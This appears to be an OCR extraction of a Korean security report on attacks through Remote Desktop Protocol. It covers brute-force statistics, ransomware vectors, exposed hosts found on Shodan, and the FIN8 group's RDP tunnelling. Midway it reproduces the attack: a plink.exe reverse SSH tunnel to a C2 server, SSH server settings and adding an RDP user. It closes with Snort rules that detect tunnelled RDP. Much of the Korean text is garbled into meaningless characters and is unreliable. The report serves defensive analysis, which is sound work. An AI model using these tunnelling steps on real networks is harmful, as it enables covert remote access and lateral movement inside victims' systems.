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AL A3 E(RDP, Remote Desktop Protocol)2 MSit2| Windows OS2| 7HLAZ
ITU-T T.128 O{Z2|H 0| ZZEZ9| &X0|Ct A= 1996 Windows NT 4.00{ A
Terminal Service Client2 EA|Z|}1D, 0|2 2009'F Remote Desktop Service(RDS)Of|

ZoE| A E[RACE

HAHAAERDP)2 ALESH| fI8t SEI0|YEE= Windows OSE 7|22 2 2|52,
THZ, WOS, AHEZ0|E 5 Lot OSO| EXstH 7|28 2= TCP EZE 3389=
Argottt, FAMAIE(RDP)2 AL Z2|X} AX|LO, JAZF K& SoA HeE
MSot7| oA Chefet Z=X0|M ALESt RULE.

Gl

AZCI A3 EROP)O| Aol BHo| ABEH BAXIAE SUH Hol4S
MBs BCh BARE B Oy AAHo| EXS 0

[ =
7|gtol M= OO QPg-dat 7|sde| Oj¥S 7t HFEHAAE(RDP)E H= oLt

Remote Access System Hacking Is No
1 Patient Safety Risk

Hackers attacking healthcare through remote access systems and
disrupting operations is the number one patient safety risk.

[28 1-1] &xje QNS RSk A Hmls JAPYS Al2H 31 (SR Health IT  Security)

Health IT Security®| 2018 10& Z[AL0| MEMH AAHL A|AH s{Zo] EXio|
QHHE fIEsE A A IFOo|2t1 ECRI*Q| “Top 10 Health Technology Hazards

for 2019" E1ME Q8310 LHIULCH ECRI= HGEE AI2HZ2 F 497t

El 2H2
Yo OOolHO H2otAU 55 M7t Eo 2XE ALY 2HE sHEst==
5185l Ant 22 LEHY YR Q7S ¥ 9o AAES ALHES
SHXQl SXOoz ofgd 4+ ATk FIAUCH(AY 1] HI)
= ECRI(Emergency Care Research Institute): & MAH EE 2|2 &tdolM Xz b EZ
SiS AR A rAdsho3AH
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2020 48 7| ESETitOlA HESH 2T EIAM0| = 2020 127] CHH| 2279
RDP B A== 102% 571310, RDP H52 AlEdt= S20|2EE 408% S0t
Z{O 2 LIEFGCH 20209 127| CHH| 4827|2] RDP ®& AL 768% Z7t3M1,
RDP T&2 ALt S2t0|MEE 225% BT7tet A2 E LIEfLt RDP 32 A|Z7}

= Zolgh &= QCh(ad 1-3] &)

——HOF connection attempts [1eft axis]
AOP connection attempts on unique clisnts [right axis)
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SO\ Ho{SICh RDP AME HY BH+2 QIEUOIM Y 7|SEE BE 33
Sojm 3 MY HEZ AXD HEXMOE XIF YMSIE Aol 274 3 sjLjolct
MOl¥| B2AXHE ROP B0l ¥ Aty HEHG Ystol HOHE
SFSIALL NS Mt YIsBD B KBS 2ItE SO 3HS
subic, E5 ROP HAHHS! XASS C1E S0P Bojsiol 2, 3% B
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Ransomware Attack Vectors

100.0% = RDP Compromise
== Email Phishing

= Software Vulnerability
T5.0% = Other

50.0%

St /_/_\_/

0.0%

% of Cases in the period using the vector

Q42018 Q12019 Q2 2019 O3 2019 Q4 2019 Q1 2020

©cuvewnns
[O8! I-4] A&4Slo] =4 HE (5X:.COVEWARE)

2020 43 292 COVEWAREmO|A ZHEDE sHdo] 54 24 EIM0 [MEX
Q0o X£7| HEFE WwHo=Z T B2 H] = A2
2018E 42 7|2E 20209 1£7|7X| {X| &

A ULE
U ZAO EUE|= HEE HX e £FO0|C £t
2 o

Xy RDP 20| M2 HQ,
ZH A AAEO] DRIRF HBS LA HEE 4 YOH, LB A|AHOZ CHA

*% SHODAN #% SHooAN

% Exploits L) *% Images % Exploits

3,262,715 71,803

China 903,864 Korea, Republic of 71,803
United States 793.813
Germany 156,577 TOP CITIES
Netherlands 94,607 Wicheon 10,418
United Kingdom 94,432 Seoul 10,103
[
[O8! I-5] £ER2 Sall ZAst RDP TE 7158t AlA” g
- N
(Z#{:Shodan.io)

SHODAN* ZM QIEIS Edf| “remote desktop’s ZAiSH Zt 38T O A9 A|AE]
O] AME|AD, CHSHAIT(KR)CZE ZEZSHH, 71,803702] ZIE 2y = AR
Chq@ I-5] &) Eok 3389 ZEJL JHREE A|A”E2 48407 O|AO| HME|

O, tetl=Kr2Z2 HESHH, 74920702 ZutE =g &+ UCh(AE 16 &

€SSty SEEEEL TR
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1) SHODANSZ HME AIA”O| RDP &S AlEdiE Za 23008 & = ¢
£ ID, PW 2HEO| ddEl= Az =g = AL
« SHODAN: SlE{lo] APE S5 Reol ARES e 5+ s AMATSR Al2Ho

= =
HeE ZEL HUE S2 AMstEH F2 AL

*% Exploits - # Images o Like 170 & # Exploits %, Maps *, Images % Share Search

4,030,166 74,920

United States 1,289,523 Kores, Republic of 74,820
China 967,026
Germany 165 476

United Kingdom 104,055 i 10,983

Netherlands 102,528 seoul 10,858

Busan 2234
Seangnam-si 1,608
Dasgu 1,540

[28! 1-6] £Et8 Sall ZASt 3389 ZET} kel A|lAH 318 (HX:Shodan.o)
of2igt MH = RDP &2 HMH U0l 2 = AW, sAX= O|ZA S7HE

o
RDP AMHE Sl =% 2| L5 HEAIAMNX| HESH| W20 S7HE RDP ME O]

=%
ofsh Hofehl AlARIS] £ O BOFE 4 QUL

214 1828 o|E|SAC RDP(3389) EIX|&=E

MAX : 1,477,503Z

AVG : 455,835Z

MIN : 208,28771 |

[3& I-7] 2|2ISAC RDP(3389) ZE EX|& 2 (21.1~28)

20219 1E€~287HX| O ZISACO|A EHX|=l RDP(3389) ZEO|AMQ| Z3ZAHSA ERjEl2
(A8 1719 2L St& ) of 1472, & of 2024, Bt 45R5H 29| 4
€SSty SEEEEL TR
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ol EzfHo| EX|=l HES =olg = UCE 21 28 20 RE E©X U 25
Olf= £% 2I&7|20|A RDP(3389) ZEJI QELI AN B{e| CixIPEEEH
RDP(3389) ZEZ TZAIZ7l S7I51¢7| WE0|Ct O|2{st AL O|RISACH M=
RDP(3389) ZE Attt 3 ZAIp AtohE HADHCH

-
(s}
—

218 128~28 2|SISAC SSH(22) BX|HEZ
MAX : 1,833,89521

AVG : 706,80271 /'

MIN : 445,57671

[18 1-8]af &L} SH& ZCH 9F 1832FA, Z[& of 44058, " 70T6eT ol 3
4ol EgfEol EXE AS oy 5 Ak 21d 28 249 EF 2 =7|20M
LHFEAEZE S el ez EA|Ha7t S7et A2 lE ULt &7 & 712

SHR2)= 2Tl ZEO| U M2t SAE LIEHHX|T, AT

— S =]
MHIAE Yool ZEZ HPoI0] ALEdts 495 ZSCE O B2 Xl A7t
A

RDP B2 30| 2z # AT |-8)dt 0| thedt SSH GZZE EHX| k|,

a
Hyez== RN FE2 L7k HZA07] MEo| WE AREXPIE 2IF9| A|AHO
ot 218t FAIStn X|[LHE 7Hs740] =OFXICE olg{st &&E CHH|SHO
2 200l 2% AMEMT 3% =OIiMS S¢f ROP E2Y 20| Cfsf mjelsm,
thewHe Txof HEshe He Hmsct
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0= EASX[E(HHS: Department of Health and Human Service) AMO|H{E Qt
Z= WO 20199 118 ZHHDH "HC3 Intelligence Briefing Remote Desktop
Protocol Exploitation” E10A0f| [E2M RDPE FE2 AEot= 34051 Y02
zZ22 ol & QICf (& |-1] &)

oTre |2 T

[£ I-1] ROPE A83= SH0E H AU (EX:HHS.gov)

* APT1 * FIN10 » Cobalt Group

* APT3 * FING6 * Cobalt Strike

* APT39 * FIN8 » DarkComet
SA40E |« APT4 » Koadic » Patchwork

e Axiom e lazarus Group » Stolen Pecil

* Carbanak e Leviathan * TEMP.Veles

* Dragonfly 2.0 * menuPass * OQilRig

* JRAT .
OFMAC | . * njRAT * Pupy
TeRE . geu\?esr?ng-lgAT * zwShell/ZxShell * ServHelper

* Apocalypse « DMA Locker .

e CrySiS/Dharma e LcokCrypt . g%v‘rlls‘gzel

e CryptON * Scarabey e WannaCr
HHELAOl |« Samsam(Samas) * Horsuke . Aura/Ban)éIarChor

*  Ryuk e Bit Paymer « ACCDFISA

* Sodinokibi * RSAULII e Glob

* SynAck * Xpan obe

[E I-1]9] 2L4MIE F ServHelper= 2018E  oEt7|of = SHZ0fO|Ct,
ServHelper #=0{= EOO|2 7L}, DLL IHYES S FEECE O] HEO =
i

Y SSH HES 23Tt SAX7E &4 g A[LEO0| RDPRE 22 AMH|AS
7

&2 = U |52 M-St

[E I-112] 324 12 £5% 5 FINS2 RDP HEZ ZAE st Aoz oI}
FING 34 182 a5 FXe=z Sad AL0OdE FE HdHddtes A=
LB{RICL 0|7 HOtAXQl FireEyeit= FINS &2 1&0| =0/ 1007§ 0|49
ZEg 343 Aoz EMYCN, F2 SHAR0=E 2lF, w4, 40§ AHHAHE
0| QUCt Oj= MITRE*Q| S41E 2FE =HQISHEH FINGO| AHESt= AO|H 54
718 & RDP HAZE S8 3AXS C2AMHet EAE $Hsict= 0| Zol=lCt
St 34 Ofd HEHINM F5B Olag =AY U= RDPE AMEStH 2 A7
E2{E &9 RDP HEO0{E FX|St= A2 EAME|ACT

= MITRE(The MITRE Corporation) : o|= HE7|22 X|&st= H|YE[HAHZ AO[H{EQH A

28 dXLofd S T & e TdS 2
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Lateral Movement Collection Command and Control
9 techniques 17 technigues 16 technigues

Exploitation of Archive via Custom Methed Application I

Remote Archive Layer
Services Collected I Archive via Library Protocol
Data s
Internal == Communication
Spearphishing Through
Audio Capture Remavable
Lateral Tool Media
Transfer Automated
Collection Data
Remate Encoding .,
Service Clipboard Data '
Session Data
Hijacking 5, Data from Obfuscation , -
W Cloud Starage e
Object Dynarmic
s—— Resolution , -,
Data from —
Configuration Asymmetric Cryptography (T1573.002)
N Repository ., .
?:x;z:aes e R e Symmetric Cryptography
12/6) Data from Comment [FINS]
information {httpsy/attackmitre.org/groups/GD061)
VNG Repositories ., . hias used the Plink utifity to tunnef RDP
== back to €2 infrastructure.(Citation:
Windows Remote Management Data from Local FireEye Know Your Enemy FING Aug
System 2016)
Replication
Through Data from Multi-Stage
Remavable Metwork Shared Channels
Media Dirive
Mon-
Software Data from Application
Deployment Removable Layer Protocol
Teols Meadia
MNon-Standard
Taint Shared Local Data Stagin Port
Content Data Staged . -,
o Protocol
Use Alternate " Tunneling
Authentication Emazil
Material . ., Collection . Proxy ... n

[22&! 1-9] MITRE ATT&CK FIN8 S&1&2| ttAE 34 7|Y (SA:MTRE)

MITRES| ATT&CK®E= 2018E 18 V102 AR Z 20204 108 V827X R=g|
HOIER|D o, AX AtO|H S0 A= ZAXS iz HMedt 7=
CHSE ™ AMAX QI X|Al 7|8t BEOICE ATT&CK EEE £ 14710 24 CHAz 3+4

=
0 EHAER MEZIE0| 20371 EMoHH, FHHQl 597 |e2 I E Lt

[12 1-9]= FIN8 3AEF0| A83l= S47|¥E MITRE ATT&CK Z &0 530
=5 ZAnolH, =H o|o(LateraI Movement) THAOIA AL AT E(Remote
Desktop Protocol)& <f&3t= ZAO0| Qe Lot FE R X O{(Command and
Control, C2) EHAIO|A H|CHE S SHAsymmetric Cryptography)2| ot9I7|&Z RDP
HEdg Sl c2 olzetet s4st= 7|8E Ar8sta ULt

§5i5 23ueyyey A=A RS
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20| ot o0 A= A Mo A0l AFYEY HIEY Jgs
Ar8sty Fa2g = Aok (A m-1] BX)
Cc&C AMH 2t m|of A2

If;(l[FJ: 115

EIZ2|El= PuTTY MEZ2| LRl Plink2te=
£ AM2%10 CHE A|ARIO| CHSF SSH WE

=

Qs AtEE|= UHFHEO
T2 WS AFESICE Plinke 9]

— L 0

93 ez MY O ABSHE 7O RO TAAY BN Z2E2

= =
HALE SWSHA| Y7L OIRBHRE SSH S48 ATHIA| 47| W20 PlinkS
Argstol W AlA®o| RDP AH|AG C2 MH{7F M2 SAT & A2 Asie
HEg 9s & Ut
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<Plink 2 3O x>
plink.exe <users>@<IP or domain> -pw <password> -p 22 -2 -4 -T -N —C
-R 12345:127.0.0.1:3389

L
it i~ | | i
| Suif =i
TCP 338000 | | —
RDP =31
[O8 1 -2] Pink& ALS83t0] 43X el RDPE{E H&E O|A| (F2:KHCERT)

c&cC MH e ool A28 |

g TCP 22 TcPass| ]

=10 " 11 : .

= \ e | =
TCP 1234 . DE' ll | . __:-’
127.0.0.1:12345 =z L=

RDP ¥ Z

[O8 1-3] SHA} C&C MHOIAM HSHRI2 ZE ZIE Al (ZA]:KHCERT)

4k 34 Uy UESHIN ZEXETS S BT 22 jump box)E 238
o=zM Yeolo| ZE Ofst 2l&adE HAlY = UCL 0|2 SAXSS sk
ANAHCZRH 2= oY EfHE 4I5t= A0| 7tssint od Egfg2 =
HIAS Sof LE2E CHE AAHoz mQed = QUL oI TCP 3389(RDP)E=
AHEE £ ot (O O-4= = %28 o 228 HESRAZ ROP FH 0|5
(Lateral Movement)2| AtH|E E O &=Lt

« M= giAGump box) 1 AZ MH, M= HAFEHEILE St AZlE 2ot oM HXES

[ (=]
Mot ze|str| flsh A== U ERZ &2 AFEHE 2

ﬁ SITAR HXIRIEY AF5A B I -2AE
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TIPS

(08 1-4] Y= 9AE AI8St0] B2lEl UWENIZ ROPE S8 §H 0|S (SX:KHCERT)

i

AX7E A|AH=I0| RDP

a1
o

ES )

ojn

Klo

.A__o

2= QUCH RDP EfE

J0A HE=OIME XIS

!

JoH

S ofLtolct.

NS5 R A -SAE]
14

SSA EYRYE 2
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ROP EHEE 37 J|Y 24

SAXZE LE HERAR & otHtel dRrE@E s A28)0 HES 2E2st=H §F5
ULt 7pgsl 2CE SAXE L5 A[AEO0AM RDPE Ed=iotl AMEAS| AHA
TS BIESHAL Mz22 AMEAE ddst rRDP HZ O] A= A0 =7t
oto]l RDP HEd AZs flet 7|ES ORI

OHl
J\l

1Xt= [F SSHMH{(LinuxA|AE)E 21 A2 D Windows(127.0.0.1:3389)2]
s AAEIOAM Linux A|AEICl 12345 ZEO| Cist ZEZQTS MHiCt

RDP HE& o1Z0| MYEH ZZAXH= RDPE AESI0 OCIOALt LinuxA|AEQ]
12345 ZEO| HZASIAH T/™ madl A|AEIO| 127.0.0.1:33892 X EHEIC},

c&c AMH s A|2asl [
192.168.0.10 -
e TCP 22 TCP 3389 |
e | ' -
TCP 1234 Tep il . —
=E =

TCP 127.0.0.1:338901| A{
RDP Z=4!
RDPOf A

192.168.0.10:12345=
H £ (Username:remote1)

RDP HE2l Z3AZ £dsl7| QsiMe= 2 MHII E Linux A|AEIDM DS A|AH
(Windows), 2|1 S4& =AY SAHX A28 (Windows)0| EL5}C}.
(1) 15HA : Linux C2 M A

systemctl status ssh BHOE HYSI0] SSH MHE{7I &l SAX| =elstot.

T
e s 3 = Shell s er
Loaded: loaded Lib/systemd/system/ssh.service; disabled; vendor pre
Active: 1nmactiv
Docs: man:sshd(B)

man:sshd_config(5)
lines 1-5/5 (END)

SSH MH7F 2ATO0IX| s 4% o321 20| 2dgsiotet.

€58 sanumrney AT RIS
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sudo apt update

sudo apt install openssh-server

Linux A|AEIOA RDP =4l ZE"12345E 7| Q8 oY HE7|=Z
o

/etc/ssh/sshd_configitdS ¥ Ct

GatewayPorts=clientspecified

root@manager2:~# cat /[
GatewayPorts=clientspeci

[O8 1-7] SSH MH|& g3t &el (SX:KHCERT)

systemctl start ssh BHOE & SSH MH|AE A[XSIEH Linux AH{= O[X| SSH
MH|AT 2dotE JEf 2 FH|E AT

systemctl start ssh

(2) 2CHA - IS A|2~”0|A RDP 2zt

P 4 2] ZtXI7F Ut GUIE AFESHY ZHThoh HEE R
7 =2 ALE%ts YR2 orgfet ZCt

MA@y + R)S FO| ALY 4 HHS AT YHO|(sysdmep)E YBHD
Erte?|& £ S BATOZ OSHC O ©f WE HEE i YoM
(=

E§ HitH .qgiq S (5]

[O& 1-8] ROP && (&A{:KHCERT)
O AFEO CHet #H HZE HEO| BAIEY A=K =HQIptLt. "ALEXAL ME o=

—_ =1 i ) Sy

€SSty SEEEEL TR
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0|=5t0] A= ALEAE F7tetCh 2™ RDP AoHO| M S EIL.

ofzfel (A3 m-912F Z0| “remotel” O|2t= 2Z AEXE F7ISHAULE

Uf—ﬂ Lisl AAEZ17 Of ZREN BEE + 9120 Administrators
S FM20 0] S=S0] ST HES - 9ll O

Q remotet

S(x) 0|0) AWHA ASHS 2T YSUCE

=7HDY... R R

[2&! 1-9] RDP AFEX} F27} (ZX{:KHCERT)

QELA 2H0|E2{2[Q RDPwraps SoiA= RDP HZS Zdstd =+ UMt XS
N

SISt = RDPConfS &8HSI0] RDP AH|AT} A3 FQIX| SIQISHT (Service state: Running)

RDP Wrapper Configuration @
Diagnostics
Wrapper state; Installed wer, 1,5.0.0
Service state:  Running ver. 6.1.7601.24234
Listener state:  Listening [fully =upported]
General Settings Authentication Mode
[V|Enable Remote Desktop ) GUI Authentication Only
@ Default RDP Authentication

RDP port: 3383 =
i e 71 Metwork Level Authentication

[V]Single session per user Session Shadowing Mode

[ | Hide users on logon scoreen ) Dizable Shadowing

[ | allow to start custom programs @ Full access with user's permission
() Full access without permission
(7 View only with user's permission
(71 view only without permission

[ 1 -10] RDPwrap2| RDPConf &l&H (&#&{:KHCERT)
(3) 3CtA : HY 2HE7|
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root@manager2:~# netstat -nltp
Active Internet connections (only servers)
Proto Recv-0Q Send-Q Local Addres Foreign Address State PID/Program na

0 0 0.0.0.0:2 0.0.0.0:% LISTEN 1350/sshd: /us
0 0.0.0.0:12345 0.0.0.0:% LISTEN 2211/sshd: new

0 :::22 He LISTEN 1350/sshd: /us
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Time i Source Destination Protocol Length Source Port Destination Port Info

19.782419 S55H 3670 49173 22 Client: Encrypted packet (len=3616)

19.782904 TP 50 22 49173 22 - 49173 [ACK] Seq=5@57 Ack=188673 Win=65535 Len<|

19.843981 ssH 134 22 49173 Server: Encrypted packet (len=88)

19.867768 S5H 198 49173 22 Client: Encrypted packet (len=144)

19.868219 TCP 68 22 49173 22 - 49173 [ACK] Seq=5137 Ack=188817 Win=65535 Lens

19.996338 SSH 182 49173 22 Client: Encrypted packet (len=128)

19.99@578 TCcP 68 22 49173 22 » 49173 [ACK] Seq=5137 Ack=188945 Win=65535 Len<|

28.843948 SSH 134 22 49173 Server: Encrypted packet (len=88)

20.855072 SSH 166 49173 22 Client: Encrypted packet (len=112)

208.855305 TCP 58 22 49173 22 - 49173 [ACK] Seq=5217 Ack=189057 Win=65535 Len=
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2e.150940 SSH 15 49173 22 Client: Encrypted packet (len=96)
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alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA
KE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; dist

ance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)

alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA
KE [Tunneled]"; flow:established; content:"|cO 00|Duca"“; depth:250; content:"rdpd

r'; content:"cliprdr"”; sid:2; rev:1;)
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. https://www.eset.com/int/about/newsroom/press-releases/products/brute-force-attacks

-targeting-remote-access-increased-during-the-covid-19-pandemic-eset-confirms/

https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-
through-rdp-tunneling.html

. https://www.zdnet.com/article/kaspersky-rdp-brute-force-attacks-have-gone-up-since

-start-of-covid-19/

. https://www.coveware.com/blog/q1-2020-ransomware-marketplace-report

. https://healthitsecurity.com/news/remote-access-system-hacking-is-no.-1-patient-safety-risk

https://www.ecri.org/Resources/Whitepapers_and_reports/Haz_19.pdf

. https://www.aha.org/system/files/media/file/2019/12/intelligence-briefing-remote-

desktop-protocol-exploitation-tlp-white-11-21-2019.pdf

. https://attack.mitre.org/groups/G0061
. https://attack.mitre.org/software/S0382

https://apt.thaicert.or.th/cgi-bin/showcard.cgi?g=FIN8&n=1
https://shodan.io
https://www.coveware.com/blog/ransomware-marketplace-report-g4-2020

https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restric
tions-through-rdp-tunneling.html

https://eviatargerzi.medium.com/how-to-access-rdp-over-ssh-tunnel-c0829631ad44
https://koromoon.blogspot.com/2019/01/rdp.html
http://www.forensic-artifact.com/windows-forensics/jumplist
http://www.forensic-artifact.com/windows-forensics/shimcache
http://www.forensic-artifact.com/windows-forensics/amcache

http://www.forensic-artifact.com/windows-forensics/prefetch
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